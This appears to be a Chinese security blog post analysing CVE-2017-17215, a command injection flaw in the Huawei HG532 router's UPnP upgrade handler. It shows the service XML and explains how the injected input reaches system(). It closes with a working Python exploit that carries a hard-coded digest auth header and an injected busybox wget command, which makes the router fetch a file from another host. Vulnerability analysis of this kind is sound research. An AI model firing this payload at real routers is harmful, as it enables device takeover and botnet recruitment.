天天看點

CVE-2017-17215 - 華為HG532指令注入漏洞分析

前言

前面幾天國外有個公司釋出了該漏洞的詳情。入手的二手

hg532

到貨了,分析測試一下。

固件位址:https://ia601506.us.archive.org/22/items/RouterHG532e/router HG532e.rar

正文

漏洞位于

upnp

服務處理 更新的流程中,用于裝置更新的

upnp

服務

xml

配置檔案為

etc/upnp/DevUpg.xml

.

<?xml version="1.0"?>
<scpd xmlns="urn:schemas-upnp-org:service-1-0">
<specVersion>
<major>1</major>
<minor>0</minor>
</specVersion>
<actionList>
<action>
<name>Upgrade</name>
<argumentList>
<argument>
<name>NewDownloadURL</name>
<direction>in</direction>
<relatedStateVariable>DownloadURL</relatedStateVariable>
</argument>
<argument>
<name>NewStatusURL</name>
<direction>in</direction>
<relatedStateVariable>StatusURL</relatedStateVariable>
</argument>
</argumentList>
</action>
<action>
<name>GetSoftwareVersion</name>
<argumentList>
<argument>
<name>NewSoftwareVersion</name>
<direction>out</direction>
<relatedStateVariable>SoftwareVersion</relatedStateVariable>
</argument>
</argumentList>
</action>
</actionList>
<serviceStateTable>
<stateVariable sendEvents="no">
<name>DownloadURL</name>
<dataType>string</dataType>
</stateVariable>
<stateVariable sendEvents="no">
<name>StatusURL</name>
<dataType>string</dataType>
</stateVariable>
<stateVariable sendEvents="no">
<name>SoftwareVersion</name>
<dataType>string</dataType>
</stateVariable>
</serviceStateTable>
</scpd>


           

其中在擷取

NewDownloadURL

StatusURL

後拼接指令,調用了

system

執行了。

ida

搜關鍵字

交叉引用找到使用位置。

調用

xml

相關函數,擷取值,拼接後,進入

system

他還有 認證 機制,需要

Authorization

頭 才能過掉

check

, 否則會

401

exp

import requests

headers = {
    "Authorization": "Digest username=dslf-config, realm=HuaweiHomeGateway, nonce=88645cefb1f9ede0e336e3569d75ee30, uri=/ctrlt/DeviceUpgrade_1, response=3612f843a42db38f48f59d2a3597e19c, algorithm=MD5, qop=auth, nc=00000001, cnonce=248d1a2560100669"
}

data = '''<?xml version="1.0" ?>
 <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
  <s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1">
   <NewStatusURL>;/bin/busybox wget -g 192.168.1.2 -l /tmp/1 -r /1;</NewStatusURL>
   <NewDownloadURL>HUAWEIUPNP</NewDownloadURL>
  </u:Upgrade>
 </s:Body>
</s:Envelope>
'''
requests.post('http://192.168.1.1:37215/ctrlt/DeviceUpgrade_1',headers=headers,data=data)
           

最後

找對固件很重要, 立個

flag

,兩個月内不用

f5

. 一個好的蜜罐就是

cve

接收器呀~~~~~~~

參考

https://blog.fortinet.com/2017/12/12/rise-of-one-more-mirai-worm-variant